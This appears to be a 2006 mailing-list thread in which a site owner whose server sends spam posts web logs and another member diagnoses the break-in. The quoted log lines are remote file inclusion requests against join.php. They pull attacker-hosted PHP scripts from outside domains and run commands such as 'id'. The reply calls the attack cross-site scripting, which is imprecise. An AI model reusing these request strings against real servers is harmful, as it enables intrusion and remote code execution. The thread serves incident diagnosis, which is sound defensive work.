Postfix hit again (Spam)

[Paul Howarth]

On Tue, 2006-05-23 at 11:25 -0400, CodeHeads wrote:
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> On Tue, 23 May 2006 08:45:30 +0100 Paul Howarth <paul at city-fan.org> wrote:
> 
> > On Mon, 2006-05-22 at 23:11 -0400, CodeHeads wrote:
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> > > On Tue, 23 May 2006 00:14:32 +0000
> > > replies-lists-redhat at listmail.innovate.net wrote:
> > > > i haven't been following this topic in great detail, but i suspect that
> > > > you have a form on your site that is being exploited for "form spam".
> > > > if you're not familiar with this, search google for "form spam".
> > > > 
> > > >    - Rick
> > > 
> > > 
> > > Rick,
> > > Thank you, No, I have not heard of this.
> > 
> > I don't think that's what this is. Form spam takes advantage of
> > poorly-coded mail/contact forms and uses them to send mail to recipients
> > other than those intended by the form designer.
> > 
> > What's happening here is that the spammer is running their own code
> > (downloaded into /tmp) to send the mail, a rather more serious
> > situation.
> > 
> > Paul.
> > 
> I might not know too much but I really think they are using my forms.  I found
> quite a few log entries. Here are a few.
> 81.199.173.8 - - [22/May/2006:18:57:51 -0400]
> "POST /topsites/sources/join.php?FORM%5burl%5d=owned&CONFIG%5bcaptcha%5d=1&CONFIG%5bpath%5d=http://www.tiffefermaintfashion.com/gbook/tmp/xzblog.txt?
> HTTP/1.0" 200 5923
> 
> AOL:
> 172.179.33.217 - - [21/May/2006:07:58:01 -0400]
> "GET /topsites/sources/join.php?FORM%5burl%5d=owned&CONFIG%5bcaptcha%5d=1&CONFIG%5bpath%5d=http://xpl.netmisphere2.com/CMD.gif?&cmd=id
> HTTP/1.1" 200 2374
> 172.179.33.217 - - [21/May/2006:07:58:20 -0400]
> "GET /topsites/sources/join.php?FORM%5burl%5d=owned&CONFIG%5bcaptcha%5d=1&CONFIG%5bpath%5d=http://xpl.netmisphere2.com/CMD.gif?&cmd=w
> HTTP/1.1" 200 2412
> 172.179.33.217 - - [21/May/2006:07:58:34 -0400]
> "GET /topsites/sources/join.php?FORM%5burl%5d=owned&CONFIG%5bcaptcha%5d=1&CONFIG%5bpath%5d=http://xpl.netmisphere2.com/CMD.gif?&cmd=cd%20/var/tmp
> HTTP/1.1" 200 2323
> 
> And the xpl.netmisphere2.com site has hacking information:
> http://xpl.netmisphere2.com/  I think this outta be illegal!!

Looks like an exploit of a cross-site scripting vulnerability in your
join.php form. http://xpl.netmisphere2.com/CMD.gif is the cracker's PHP
script that gets injected into your form, it's not an image at all.

You need to turn off that form until you can get a fixed version of that
application. And of course reinstall that system.

Paul.